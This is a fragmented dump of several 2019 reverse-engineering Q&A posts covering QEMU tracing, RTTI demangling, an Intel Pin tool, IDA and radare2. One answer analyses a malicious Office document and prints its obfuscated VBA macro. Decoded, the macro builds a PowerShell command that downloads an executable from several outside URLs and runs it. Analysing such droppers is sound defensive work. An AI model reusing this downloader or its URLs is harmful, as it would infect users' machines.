+I'm trying reverse engineer the firmware, apparently bare metal, of an industrial controller. The device is based on a Coldfire controller, to be more precise, the MCF5282. To track its behavior, I want to use Qemu in its M68k fashion which is supporting already the MCF5206 and the MCF5208. The Coldfire implementation of Qemu lacks in many places, and it seems targeted to run Linux after the bootloader has left the hardware in a particular state. To run my firmware, I had to patch it removing all the hardware initialization, and write a new Qemu file for the CPU I wanted to target, the MCF5282.
+So far, It seems that my code is working, and the CPU is initialized as the initialization code I have skipped would have done.
+When I start my emulation, strangeness begins, and there I ask for your help for understanding what is going on.
+When I run
qemu-system-m68k -nographic -cpu m5282 -kernel Firmware.bin.qemuPatched \
+-serial telnet:127.0.0.1:4444,server,nowait \
+-serial telnet:127.0.0.1:4445,server,nowait \
+-serial telnet:127.0.0.1:4446,server,nowait \
+-d in_asm -D execution.log
+
+
+I expected all the instruction of the target CPU to be logged, and that's it is what's happened, at least until it reaches a branch instruction.
+That time forward, no more instructions are logged, though the emulation is continuing.
+I can say that emulation is continuing because if I add to the logged properties the target machine status, I see that the CPU state is changing after the that last instruction is logged and the PC is changing also.
+The strangeness does not stop here, and if I follow the PC values, I see that CPU is executing instructions in the firmware address space in an unexpected way, to make a long story short, it seems it is sampling the real flow without writing every single step.
+Does someone recognize in it the expected behavior?
+Also, at least one time, I found a call to a function (jsr) where the flow logged seems to indicate that function is not executed.
+It just logs the next instruction, but looking at the CPU state it's clear that function has been executed.
+Is Qemu which is malfunctioning, or it's just me who can not understand what is going on?
----------------
+IN:
+0x00004da6: movel %fp@(8),%d6
+
+D0 = 00000064 A0 = 00082748 F0 = 7fff ffffffffffffffff ( nan)
+D1 = 00000028 A1 = 00084778 F1 = 7fff ffffffffffffffff ( nan)
+D2 = 00000025 A2 = 00000000 F2 = 7fff ffffffffffffffff ( nan)
+D3 = 00000000 A3 = 00000000 F3 = 7fff ffffffffffffffff ( nan)
+D4 = 00000000 A4 = 00000000 F4 = 7fff ffffffffffffffff ( nan)
+D5 = 00000000 A5 = 00000000 F5 = 7fff ffffffffffffffff ( nan)
+D6 = 00000000 A6 = 0008fe44 F6 = 7fff ffffffffffffffff ( nan)
+D7 = 00000000 A7 = 0008fe34 F7 = 7fff ffffffffffffffff ( nan)
+PC = 00004da6 SR = 2004 T:0 I:0 SI --Z--
+FPSR = 00000000 ----
+ FPCR = 0000 X RN
+ A7(MSP) = 00000000 ->A7(USP) = 0008fe30 A7(ISP) = 00000000
+VBR = 0x00000000
+SFC = 0 DFC 0
+SSW 00000000 TCR 00000000 URP 00000000 SRP 00000000
+DTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000
+MMUSR 00000000, fault at 00000000
+----------------
+IN:
+0x00004daa: jsr 0x4ca0
+
+D0 = 00000064 A0 = 00082748 F0 = 7fff ffffffffffffffff ( nan)
+D1 = 00000028 A1 = 00084778 F1 = 7fff ffffffffffffffff ( nan)
+D2 = 00000025 A2 = 00000000 F2 = 7fff ffffffffffffffff ( nan)
+D3 = 00000000 A3 = 00000000 F3 = 7fff ffffffffffffffff ( nan)
+D4 = 00000000 A4 = 00000000 F4 = 7fff ffffffffffffffff ( nan)
+D5 = 00000000 A5 = 00000000 F5 = 7fff ffffffffffffffff ( nan)
+D6 = 00000064 A6 = 0008fe44 F6 = 7fff ffffffffffffffff ( nan)
+D7 = 00000000 A7 = 0008fe34 F7 = 7fff ffffffffffffffff ( nan)
+PC = 00004daa SR = 2000 T:0 I:0 SI -----
+FPSR = 00000000 ----
+ FPCR = 0000 X RN
+ A7(MSP) = 00000000 ->A7(USP) = 0008fe30 A7(ISP) = 00000000
+VBR = 0x00000000
+SFC = 0 DFC 0
+SSW 00000000 TCR 00000000 URP 00000000 SRP 00000000
+DTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000
+MMUSR 00000000, fault at 00000000
+----------------
+IN:
+0x00004db0: movew %d0,%d7
+
+D0 = 00000002 A0 = 000822c8 F0 = 7fff ffffffffffffffff ( nan)
+D1 = 00000020 A1 = 00084778 F1 = 7fff ffffffffffffffff ( nan)
+D2 = 0000007f A2 = 00000000 F2 = 7fff ffffffffffffffff ( nan)
+D3 = 00000000 A3 = 00000000 F3 = 7fff ffffffffffffffff ( nan)
+D4 = 00000000 A4 = 00000000 F4 = 7fff ffffffffffffffff ( nan)
+D5 = 00000000 A5 = 00000000 F5 = 7fff ffffffffffffffff ( nan)
+D6 = 00000064 A6 = 0008fe44 F6 = 7fff ffffffffffffffff ( nan)
+D7 = 00000000 A7 = 0008fe34 F7 = 7fff ffffffffffffffff ( nan)
+PC = 00004db0 SR = 2000 T:0 I:0 SI -----
+FPSR = 00000000 ----
+ FPCR = 0000 X RN
+ A7(MSP) = 00000000 ->A7(USP) = 0008fe30 A7(ISP) = 00000000
+VBR = 0x00000000
+SFC = 0 DFC 0
+SSW 00000000 TCR 00000000 URP 00000000 SRP 00000000
+DTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000
+MMUSR 00000000, fault at 00000000
+
+",17411,,,,,1/30/2019 16:39,Weird qemu behaviour with Freescale Coldfire MCF5282,the vba appears to be some thing like this +the functions appears to be useless the zillnp appears to take this string
+ + + +you can copy paste the strings and concatentate it
+ +Sub foo()
+zwrqd = ""c:\on"" + ""jzi"" + ""oi\"" + ""izwolr"" + ""\poic"" + ""wo\"" + ""..\"" + ""..\""
+szrtncm = ""..\win"" + ""dow"" + ""s\sys"" + ""tem32\"" + ""cmd."" + ""exe /c"" + "" %Pro"" + ""gram""
+uvkplhz = ""Data"" + "":~0,1"" + ""%%Pro"" + ""gra"" + ""mData:"" + ""~9,"" + ""2% /"" + ""V:ON/"" + ""C"" + Chr(34) + ""set""
+oujod = "" SiQ=;"" + ""'cjq"" + ""hpb'="" + ""qijm"" + ""nd$}}"" + ""{hct"" + ""ac}};""
+kbuitlk = ""kaerb"" + "";'bchk"" + ""zfb'="" + ""dqk"" + ""zr$"" + "";hkjzj"" + ""lz$ me"" + ""tI-e"" + ""kovnI{""
+bjzzhsa = "" )00"" + ""004 eg"" + ""- htg"" + ""nel.)h"" + ""kjzjlz"" + ""$ m"" + ""etI-t"" + ""eG(("" + "" fI;'""
+
+
+hzipdp = ""jrkj"" + ""ik'=ci"" + ""ikdj$"" + "";)hkjz"" + ""jlz$"" + "" ,qjc"" + ""aki$("" + ""eliFd"" + ""aoln""
+wcwhr = ""woD.ir"" + ""hwidj"" + ""${yrt"" + ""{)ujb"" + ""wa$ "" + ""ni qj"" + ""cak"" + ""i$(h""
+rmflwpm = ""caero"" + ""f;'"" + ""exe.'"" + Chr(43) + ""zbw"" + ""nifi$"" + Chr(43) + ""'\'"" + Chr(43) + ""pmet"" + "":vne""
+wuvcz = ""$=hkj"" + ""zjlz"" + ""$;'ziw"" + ""mvv'=p"" + ""zrifo""
+kqwok = ""h$;'9"" + ""04' = "" + ""zbw"" + ""nifi$;"" + ""'sc"" + ""jmbw'"" + ""=fm"" + ""sqvii$"" + "";)'@""
+wzkwjw = ""'(t"" + ""ilpS"" + "".'41"" + ""fpege"" + ""LDa""
+hrzqojk = ""jCgKn"" + ""c/mo"" + ""c.sse"" + ""nisub"" + ""rusoh.""
+zpftzo = ""www//:"" + ""ptth@"" + ""Mw6O6"" + ""3Df_"" + ""Cm066C"" + ""cdkU"" + ""7o/moc""
+
+rnncbhd = "".ai"" + ""cizy"" + ""hp.ww"" + ""w//:pt"" + ""th@j"" + ""7OEo_7""
+zihij = ""MhAbZ"" + ""p6jnH"" + ""p/z"" + ""t.oc.s"" + ""keeg""
+dwpit = ""t.liam"" + ""//:"" + ""ptt"" + ""h@8or1"" + ""uzsd"" + ""Z8vi"" + ""e/RXI/"" + ""sed"" + ""ulcni-""
+wccvfj = ""pw/moc"" + "".srev"" + ""ireht"" + ""ybkram"" + ""dnal//"" + "":ptth"" + ""@R8Fd3""
+zuvtjrq = ""N9U"" + ""mbY"" + ""BzI/te"" + ""n.en"" + ""onil""
+afactw = ""etoh."" + ""www/"" + ""/:ptt"" + ""h'=ujb"" + ""wa$;"" + ""tnei""
+worhm = ""lCbeW."" + ""teN t"" + ""cejbo-"" + ""wen"" + ""=ir"" + ""hwidj$"" + "";'imsi""
+vaipzq = ""zuu'=i"" + ""ijir"" + ""wb$ ll"" + ""%1,3-~"" + "":PME"" + ""T%h%"" + ""1,4-"" + ""~:EMA"" + ""NNOI""
+zcdjvo = ""SSES%r"" + ""%1,5~"" + "":CILB"" + ""UP%wo"" + ""p&&"" + ""for /""
+vwqmd = ""L %h i"" + ""n (65"" + ""7,-1"" + "",0)"" + ""do s"" + ""et "" + ""nu=!""
+tlpisj = ""nu!!S"" + ""iQ:~"" + ""%h,"" + ""1!&"" + ""&if %h"" + "" eq"" + ""u 0 e"" + ""cho !n""
+nsfmr = ""u:~-6"" + ""58!|"" + "" cmd"" + Chr(34) + "" ""
+
+
+uhdurz = zwrqd + szrtncm + uvkplhz + oujod + kbuitlk + bjzzhsa
+jitovh = hzipdp + wcwhr + rmflwpm + wuvcz + kqwok + wzkwjw + hrzqojk + zpftzo
+wwiqv = rnncbhd + zihij + dwpit + wccvfj + zuvtjrq + afactw + worhm + vaipzq + zcdjvo + vwqmd + tlpisj + nsfmr
+
+
+MsgBox (uhdurz + jitovh + wwiqv)
+
+End Sub
+
+",3473,,,,,1/30/2019 13:01,,,,0,,,,CC BY-SA 4.0
+20511,2,,12730,1/30/2019 16:25,,7,,"Expensive commercial solutions: Beagle (400€), Ellisys (800 - 3200€), MQP, International Test Instruments (600€), Teledyne Lecroy (1000€), USBeee (1000 - 2000€).
+ +Cheapest commercial solution I found : Keelog Morphstick, 125€, which is within your budget.
+ +DIY solutions:
+ +You might also dig into ""USB over IP"".
+",27300,,,,,1/30/2019 16:25,,,,0,,,,CC BY-SA 4.0 +20512,2,,20508,1/30/2019 16:39,,1,,"I got the explanation by another source, and It seems to me to be appropriate post here the answer I received.
It is weird, in my eyes I mean, but it is expected behavior, and make also sense with the necessary explanation.
+The nature of Qemu, a JIT translator, implies that all code of the target CPU is translated into the code of the host CPU.
When My code branches to a code part which has been already translated, it just do not translate it again. For that reason, I don't see the istructions in the code log but I see the CPU state changing.
Which operators in C language would result in assembly commands such as sal, shl, sar or shr
for example?
int main (void){
+ unsigned int uin = 0x1000;
+ signed int sin = -0x1000;
+ return (uin<<8)+(uin>>8)+(sin<<8)+(sin>>8);
+}
+
+
+compiled and linked with
+ +cl /Zi /W4 /Od /analyze /nologo salsaar.cpp /link /release
+
+
+disassembled
+ +:\>cdb -c ""uf salsaar!main;q"" salsaar.exe | grep -A 20 Reading
+0:000> cdb: Reading initial command 'uf salsaar!main;q'
+salsaar!main:
+01121000 55 push ebp
+01121001 8bec mov ebp,esp
+01121003 83ec08 sub esp,8
+01121006 c745fc00100000 mov dword ptr [ebp-4],1000h
+0112100d c745f800f0ffff mov dword ptr [ebp-8],0FFFFF000h
+01121014 8b45fc mov eax,dword ptr [ebp-4]
+01121017 c1e008 shl eax,8
+0112101a 8b4dfc mov ecx,dword ptr [ebp-4]
+0112101d c1e908 shr ecx,8
+01121020 03c1 add eax,ecx
+01121022 8b55f8 mov edx,dword ptr [ebp-8]
+01121025 c1e208 shl edx,8
+01121028 03c2 add eax,edx
+0112102a 8b4df8 mov ecx,dword ptr [ebp-8]
+0112102d c1f908 sar ecx,8
+01121030 03c1 add eax,ecx
+01121032 8be5 mov esp,ebp
+01121034 5d pop ebp
+01121035 c3 ret
+
+
+note shl and sal are both same (opcodes are same and work same ) shr and sar are not same due to signed unsigned diffferences
+",3473,,,,,1/30/2019 18:50,,,,2,,,,CC BY-SA 4.0 +20516,1,20523,,1/30/2019 22:51,,3,1377,"I'm currently browsing through RTTI information available in an MSVC++2003 executable (writing an IDAPython script to recreate structs for the class hierarchy). Apparently, as visualized here, the RTTI Type Descriptor stores something like the name of the classes or their constructor:
+ +.?AVexception@@
+ .?AUescaped_list_error@boost@@
+ .?AVruntime_error@stlp_std@@
+
+
+However, it sports a mangling scheme I do not recognize yet. The name starts with a .
which, according to this wiki, is not even a valid start for a mangled MSVC name. IDA and an online name demangler also cannot demangle these names. According to these scripts (s. ms_rtti4.idc) these should map to:
typeid(struct exception)
+ typeid(struct boost::escaped_list_error)
+ typeid(struct stlp_std::runtime_error)
+
+
+I tried removing the leading dot to get a valid start at least, but it is still invalid. Quickly writing an overly simplistic python line to at least fix namespaced class names...
+ +return ""::"".join(reversed(name[4:-2].split(""@"")))
+
+
+...it of course fails with generic type names, as with these classes here:
+ +ns::FunctionBase (.?AVFunctionBase@ns@@)
+ ns::Z::P6AXPAX::?$FunctionT (.?AV?$FunctionT@P6AXPAX@Z@ns@@)
+ ns::Z::P6AHH::?$FunctionT (.?AV?$FunctionT@P6AHH@Z@ns@@)
+ ns::Z::P6AHPB_W::?$FunctionT (.?AV?$FunctionT@P6AHPB_W@Z@ns@@)
+ ns::Z::P6AHI::?$FunctionT (.?AV?$FunctionT@P6AHI@Z@ns@@)
+
+
+I noticed removing the .?AU
or .?AV
prefix from those yields kinda useful results (missing the namespace sadly):
FunctionT@ns@@
+ FunctionT<void (__cdecl*)(void *)>
+ FunctionT<int (__cdecl*)(int)>
+ FunctionT<int (__cdecl*)(wchar_t const *)>
+ FunctionT<int (__cdecl*)(unsigned int)>
+
+
+...but again that one now doesn't work for non-generic names.
+ +I wonder if the RTTI Type Descriptor name scheme is documented, or if there is logic turning this into an actual RTTI name I can demangle with the usual tools?
+",6957,,6957,,1/31/2019 13:43,2/20/2022 23:30,How can I demangle the name in an RTTI Type Descriptor?,vc++filt seems to demangle it
+ +?AVexception@@
+ ?? AVexception
+?AUescaped_list_error@boost@@
+ ?? boost::AUescaped_list_error
+?AVruntime_error@stlp_std@@
+ ?? stlp_std::AVruntime_error
+?AUescaped_list_error@boost@@
+ ?? boost::AUescaped_list_error
+
+
+src slightly edited to strip . in front
+ +cat cpp.cpp
+#include <windows.h>
+#include <stdio.h>
+#include <dbghelp.h>
+#pragma comment(lib,""dbghelp.lib"")
+#define MAXLEN 0x1000
+char buff[MAXLEN];
+int main (int argc , char * argv[])
+{
+memset(buff,0,MAXLEN);
+if( argc !=2 )
+ {
+ printf (""usage %s undemsym"",argv[0]);
+ exit(-1);
+ }
+ char *nodot;
+ if( *(char *) argv[1] == '.' )
+ {
+ nodot = argv[1]+1;
+ }
+ else if (*(char *) argv[1] == '?')
+ {
+ nodot = argv[1];
+ }
+ else
+ {
+ printf(""not a valid msvc mangled name\n"");
+ exit(-2);
+ }
+ if ( ( UnDecorateSymbolName(nodot , buff,MAXLEN,UNDNAME_COMPLETE)) !=0 )
+ {
+ printf (""%s\n"",buff);
+ }
+ else
+ {
+ printf(""error %x\n"" , GetLastError());
+ }
+}
+
+
+compile link
+ +cl /Zi /W4 /analyze /Od cpp.cpp /link /release
+
+
+test
+ +cpp.exe
+usage cpp.exe sym
+cpp.exe .?AVruntime_error@stlp_std@@
+.?AVruntime_error@stlp_std@@
+
+cpp.exe ?AVruntime_error@stlp_std@@
+ ?? stlp_std::AVruntime_error
+
+
+edit for comment (add these lines to src above)
+ +if ( ( UnDecorateSymbolName(nodot , buff,MAXLEN, UNDNAME_NO_ARGUMENTS )) !=0 )
+{
+ printf (""%s\n"",buff);
+}
+else
+{
+ printf(""error %x\n"" , GetLastError());
+}
+
+
+result
+ +cppundem.exe .?AUescaped_list_error@boost@@
+ ?? boost::AUescaped_list_error
+struct boost::escaped_list_error
+
+
+full results
+ +:\cat mang.txt
+.?AVFunctionBase@ns@@
+.?AV?$FunctionT@P6AXPAX@Z@ns@@
+.?AV?$FunctionT@P6AHH@Z@ns@@
+.?AV?$FunctionT@P6AHPB_W@Z@ns@@
+.?AV?$FunctionT@P6AHI@Z@ns@@
+:\for /F %i in (mang.txt) do cppundem.exe %i
+
+:\cppundem.exe .?AVFunctionBase@ns@@
+ ?? ns::AVFunctionBase
+class ns::FunctionBase
+
+:\cppundem.exe .?AV?$FunctionT@P6AXPAX@Z@ns@@
+?AV?$FunctionT@P6AXPAX@Z@ns@@
+class ns::FunctionT<void (__cdecl*)(void *)>
+
+:\cppundem.exe .?AV?$FunctionT@P6AHH@Z@ns@@
+?AV?$FunctionT@P6AHH@Z@ns@@
+class ns::FunctionT<int (__cdecl*)(int)>
+
+:\cppundem.exe .?AV?$FunctionT@P6AHPB_W@Z@ns@@
+?AV?$FunctionT@P6AHPB_W@Z@ns@@
+class ns::FunctionT<int (__cdecl*)(wchar_t const *)>
+
+:\cppundem.exe .?AV?$FunctionT@P6AHI@Z@ns@@
+?AV?$FunctionT@P6AHI@Z@ns@@
+class ns::FunctionT<int (__cdecl*)(unsigned int)>
+
+:\
+
+",3473,,3473,,1/31/2019 17:48,1/31/2019 17:48,,,,3,,,,CC BY-SA 4.0
+20518,1,,,1/31/2019 7:11,,3,1292,"I've checked several crack me sites and they're all on reverse engineering applications.
+ +However, I would like to practice reverse engineering by manipulating game values. The cheat engine tool allows us to do this. There's also a bunch of other tools (ex. tsearch) but cheat engine is the most popular. It involves searching through the RAM for various values, and then manipulating the pointer, creating patches to have permanent effects in memory.
+ +The normal sites aren't a good practice for this because games typically have lots of changing values, especially those that change with user input. Are there any crackme sites which allow me to practice reverse engineering using cheat engine?
+",27291,,,,,2/4/2019 19:51,Are there any crackme sites made for cheat engine or to practice game hacking particularly?,I am writing a Pin tool with the following functionality:
+ +Before providing a source code let me describe what (as I think) is wrong with the output of a tool that I get.
+ +++ +[mov esp, esi]
+ +[pop ebx]
+ +R
+ +[pop edi]
+ +R
+ +[pop esi]
+ +R
+ +[pop ebp]
+ +R
+ +[ret 0x10]
+ +R
+ +InDirect RETURN to[RtlAnsiCharToUnicodeChar]
+
++ +[push 0x77736e7c]
+ +W
+ +[push dword ptr [ebp-0x110]]
+ +RW
+ +[call 0x7779a490]
+ +W
+ +[LdrGetProcedureAddress]
+ +[LdrGetProcedureAddressForCaller]
+ +[RtlAcquireSRWLockExclusive]
+
++ +[call 0x777a8b60]
+ +W
+ +[RtlRetrieveNtUserPfn]
+ +InDirect RETURN to[RtlDeactivateActivationContextUnsafeFast]
+
////OR////
+ +++ +[mov ecx, dword ptr [edi]]
+ +R
+ +[call 0x7777e531]
+ +W
+ +[RtlAddAccessAllowedAce]
+ +[RtlAcquireSRWLockExclusive]
+ +InDirect RETURN to[RtlAddAccessAllowedAce]
+ +[RtlReleaseSRWLockExclusive]
+ +InDirect RETURN to[RtlAddAccessAllowedAce]
+ +InDirect RETURN to[RtlAddAccessAllowedAce]
+ +[mov esi, eax]
+
I feel like there is something fundamentally wrong in the way I handle these calls and rets ""decoding"". Can someone point me to where am I exactly wrong? Also two secondary questions.
+ +1) How to record return to the main module of an executable based on the instruction?
+ +2) Is there a way to get values of IARG_BRANCH_TARGET_ADDR and IARG_BRANCH_TAKEN outside of INS_InsertCall (or similar) functions?
+ +Thank you.
+ +The source code is below.
+ +#include <stdio.h>
+//#include <chrono>
+#include ""pin.H""
+#include <string>
+#include <exception>
+
+FILE * ftrace;
+long long icount=0;
+long long ilimit=1000000;
+BOOL print_args=false;
+
+
+string invalid = ""invalid_rtn"";
+const string *Target2String(ADDRINT target)
+{
+ string name = RTN_FindNameByAddress(target);
+ if (name == """")
+ return &invalid;
+ else
+ return new string(name);
+}
+
+VOID do_call_args(const string *s, ADDRINT arg0)
+{
+ fprintf(ftrace, ""\n[%s]\n"", (*s).c_str()); //(INS_Disassemble(ins)).c_str()
+ fflush(ftrace);
+}
+
+/* ===================================================================== */
+
+VOID do_call_args_indirect(ADDRINT target, BOOL taken, ADDRINT arg0)
+{
+ if (!taken) return;
+
+ const string *s = Target2String(target);
+ do_call_args(s, arg0);
+
+ if (s != &invalid)
+ delete s;
+}
+
+/* ===================================================================== */
+
+VOID do_call(const string *s)
+{
+ fprintf(ftrace, ""\n[%s]\n"", (*s).c_str()); //(INS_Disassemble(ins)).c_str()
+ fflush(ftrace);
+}
+
+VOID do_ret(const string *s)
+{
+ fprintf(ftrace, ""\nDirect RETURN to[%s]\n"", (*s).c_str()); //(INS_Disassemble(ins)).c_str()
+ fflush(ftrace);
+}
+
+/* ===================================================================== */
+
+VOID do_call_indirect(ADDRINT target, BOOL taken)
+{
+ if (!taken) return;
+
+ const string *s = Target2String(target);
+ do_call(s);
+
+ if (s != &invalid)
+ delete s;
+}
+
+VOID do_ret_indirect(ADDRINT target, BOOL taken)
+{
+ if (!taken) return;
+
+ const string *s = Target2String(target);
+ fprintf(ftrace, ""\nInDirect RETURN to[%s]\n"", (*s).c_str()); //(INS_Disassemble(ins)).c_str()
+ fflush(ftrace);
+
+ if (s != &invalid)
+ delete s;
+}
+
+
+VOID Instruction(INS ins, VOID *v)
+{
+
+ //start = std::chrono::high_resolution_clock::now();
+ UINT32 memOperands = INS_MemoryOperandCount(ins);
+
+ fprintf(ftrace, ""\n[%s]\n"", (INS_Disassemble(ins)).c_str()); //(INS_Disassemble(ins)).c_str()
+ fflush(ftrace);
+ if (INS_IsCall(ins))
+ {
+ if (INS_IsDirectBranchOrCall(ins))
+ {
+ const ADDRINT target = INS_DirectBranchOrCallTargetAddress(ins);
+
+
+ INS_InsertPredicatedCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_args),
+ IARG_PTR, Target2String(target), IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_END);
+
+ }
+ else
+ {
+ INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_indirect),
+ IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_END);
+ }
+ }
+ else
+ {
+ if (INS_IsRet(ins))
+ {
+ if (INS_IsDirectBranchOrCall(ins))
+ {
+ const ADDRINT target = INS_DirectBranchOrCallTargetAddress(ins);
+
+
+ INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_ret),
+ IARG_PTR, Target2String(target), IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_END);
+
+ }
+ else
+ {
+ INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_ret_indirect),
+ IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_END);
+ }
+ }
+ else
+ {
+ // sometimes code is not in an image
+ RTN rtn = INS_Rtn(ins);
+
+ // also track stup jumps into share libraries
+ if (RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(ins) && "".plt"" == SEC_Name(RTN_Sec(rtn)))
+ {
+ if (print_args)
+ {
+ INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
+ IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_END);
+ }
+ else
+ {
+ INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(do_call_indirect),
+ IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_END);
+
+ }
+ }
+ }
+ }
+
+
+
+ for (UINT32 memOp = 0; memOp < memOperands; memOp++)
+ {
+
+ if (INS_MemoryOperandIsRead(ins, memOp))
+ {
+ fprintf(ftrace, ""R"");
+ icount++;
+
+ }
+
+ if (INS_MemoryOperandIsWritten(ins, memOp))
+ {
+
+ fprintf(ftrace, ""W"");
+ icount++;
+
+ }
+ }
+
+}
+VOID Fini(INT32 code, VOID *v)
+{ fprintf(ftrace, ""\n"");
+ fclose(ftrace);
+}
+INT32 Usage()
+{
+ PIN_ERROR( ""This Pintool prints a trace of memory addresses\n""
+ + KNOB_BASE::StringKnobSummary() + ""\n"");
+ return -1;
+}
+KNOB<string> KnobOutputFile(KNOB_MODE_WRITEONCE, ""pintool"",
+ ""o"", ""pinatrace2.out"", ""specify output file name"");
+
+KNOB<long long> KnobInsLimit(KNOB_MODE_WRITEONCE, ""pintool"",
+ ""i"", ""1000"", ""specify instruction limit"");
+
+KNOB<BOOL> KnobPrintArgs(KNOB_MODE_WRITEONCE, ""pintool"", ""a"", ""0"", ""print call arguments "");
+
+int main(int argc, char *argv[])
+{
+ PIN_InitSymbols();
+ if (PIN_Init(argc, argv)) return Usage();
+ ilimit=KnobInsLimit.Value();
+ ftrace = fopen(KnobOutputFile.Value().c_str(), ""w"");
+ print_args = KnobPrintArgs.Value();
+ INS_AddInstrumentFunction(Instruction, 0);
+ //TRACE_AddInstrumentFunction(Trace, 0);
+ PIN_AddFiniFunction(Fini, 0);
+ PIN_StartProgram();
+
+ return 0;
+}
+
+",15278,,,,,10/19/2021 2:00,"Tracing calls, rets and instructions with Intel Pin",Currently I am analyzing a .so file and there is a function which is supposed to be large (high number of nodes and edges). However, IDA Pro identified it as a small function, with various parts of the code being treated as individual sub routines and some of them have attributes of ""no return"".
+ +I tried to use append_func_tail to combine the sub routines together but the function returns false.
+ +I am trying to do these
+ +Is there a way to do the above?
+",27105,,2147,,2/4/2019 12:31,2/4/2019 12:31,Combine various sub routines into one sub routine (IDA Pro),I am reverse-engineering an 8051 architecture program of a specific chip. +The disassembly naturally doesn't contain any function names, and the register names are minimal. For example, address 0xb3 is a specific register with the name ""RTC2CON"". since the register name is specific for the chip the disassembly doesn't show it but rather ""0xb3"".
+ +My question is how can I set a rule that will replace every occurrence of a certain string in the disassembly (in this case 0xb3) with another string (the register name RTC2CON).
+ +Another Example
+ +| 0x0000393b c2e9 clr 0xe8.1 ;
+| 0x0000393d 1239dd lcall TRANSMIT_r7_AND_GET_r7=RF_STATUS
+| 0x00003940 e4 clr a
+| 0x00003941 ff mov r7, a
+| 0x00003942 1239dd lcall TRANSMIT_r7_AND_GET_r7=RF_STATUS
+| 0x00003945 8f36 mov 0x36, r7 ;
+| 0x00003947 d2e9 setb 0xe8.1 ;
+\ 0x00003949 22 ret
+
+
+To be more clear the chip is the nRF24LE1. In this example there is a manipulation on the special function register on adress 0xe8 (RFCON) +Bit 1 is firstly cleared, and after some operation it is set again.
+ +What I want is simply that the dissasembly will display RFCON.1 instead of 0xe8.1
+ +Another problem I have is with a function that is called using ljmp instead of lcall. When I try to rename that function with afn the new name goes instead to the function calling it with ljmp. The function called has 58 XREFS and therefore it is very important to me to see it's name and not it's address when it is called. (functions default name is their fcn.address).
+",27309,,245,,2/28/2020 12:18,2/28/2020 12:18,Setting register names in Radare2,Via Igor Skochinsky's classic IDA RTTI scripts, I found out that the names I posted are equivalent to typeid(struct xyz)
(as I've added to my question).
Abusing creating a valid mangled dtor name from a substring of them and then stripping the ctor parts from the result yields great class names.
+Here's my Python script and the results:
+def demangle(name):
+ # Check if this even is a problematic typeid.
+ if name.startswith(".?A"):
+ # Remove the .?AU or .?AV prefix.
+ name = name[4:]
+ # Demangle it as a default public destructor call.
+ dtor_name = "??1" + name + "QAE@XZ"
+ name = your_default_msvc_demangler.demangle(dtor_name)
+ # Strip destructor pre and suffixes again (accessor / cconv and parameter list).
+ name = name[len("public: __thiscall "):name.rfind("(")]
+ # Remove dtor name.
+ parts = name.split("~")
+ return parts[0][:-2]
+ else:
+ return your_default_msvc_demangler.demangle(name)
+
+And here are sample results for the names given in my question:
+exception
+ boost::escaped_list_error
+ stlp_std::runtime_error
+
+ns::FunctionBase::FunctionBase
+ ns::FunctionT<void (__cdecl *)(void *)>
+ ns::FunctionT<int (__cdecl *)(int)>
+ ns::FunctionT<int (__cdecl *)(wchar_t const *)>
+ ns::FunctionT<int (__cdecl *)(unsigned int)>
+
+Probably not very elegant, but working.
+",6957,,6957,,2/20/2022 23:30,2/20/2022 23:30,,,,0,,,,CC BY-SA 4.0 +20524,2,,20521,1/31/2019 18:18,,1,,"not sure what b3 register is
+ +as to naming the destination of calls / jumps you do something like this
+ +[0x00000788]> pd~lcall
+| 0x00000797 124ef3 lcall 0x4ef3
+| | 0x000007a7 124ac0 lcall 0x4ac0
+[0x00000788]> f loc.somefun @0x4ef3
+[0x00000788]> f loc.somefun2 @0x4ac0
+[0x00000788]> pd~ljmp
+ ,=< 0x000007cd 024ac4 ljmp 0x4ac4
+[0x00000788]> f loc.somejump @0x4ac4
+[0x00000788]> pd~ljmp
+ ,=< 0x000007cd 024ac4 ljmp loc.somejump
+[0x00000788]> pd~lcall
+| 0x00000797 124ef3 lcall loc.somefun
+| | 0x000007a7 124ac0 lcall loc.somefun2
+[0x00000788]>
+
+
+is it about special function register from 0x80 to 0xff
+ +you can probably flag them as shown above
+ +[0x000000b3]> s 0xb3
+[0x000000b3]> pd 2
+ ;-- reg.RTC2CON:
+ 0x000000b3 00 nop
+ 0x000000b4 00 nop
+[0x000000b3]> f reg.RTC2CONNED @ 0xb3
+[0x000000b3]> pd 2
+ ;-- reg.RTC2CON:
+ ;-- reg.RTC2CONNED:
+ 0x000000b3 00 nop
+ 0x000000b4 00 nop
+[0x000000b3]>
+
+
+i remembered it flagged the sfr's automatically but it seems its implementation is not complete you may have to either add the required bits and submit a pull request or open an issue in
+ +it decodes 8 bits out of possible 16 bits +src is here 8051 implementation
+ +i just made simple test result as follows
+ +>xxd sfrtest.bin
+0000000: c2e0 c2e1 c2e2 c2e3 c2e4 c2e5 c2e6 c2e7 ................
+0000010: c2e8 c2e9 c2ea c2eb c2ec c2ed c2ee c2ef ................
+>radare2 -a 8051 sfrtest.bin
+ -- This software is sold for home use only and all other rights are expressly reversed by the copyleft owner.
+[0x00000000]> pd 10
+ 0x00000000 c2e0 clr acc.0 ; [0x100001e0:1]=0
+ 0x00000002 c2e1 clr acc.1 ; [0x100001e0:1]=0
+ 0x00000004 c2e2 clr acc.2 ; [0x100001e0:1]=0
+ 0x00000006 c2e3 clr acc.3 ; [0x100001e0:1]=0
+ 0x00000008 c2e4 clr acc.4 ; [0x100001e0:1]=0
+ 0x0000000a c2e5 clr acc.5 ; [0x100001e0:1]=0
+ 0x0000000c c2e6 clr acc.6 ; [0x100001e0:1]=0
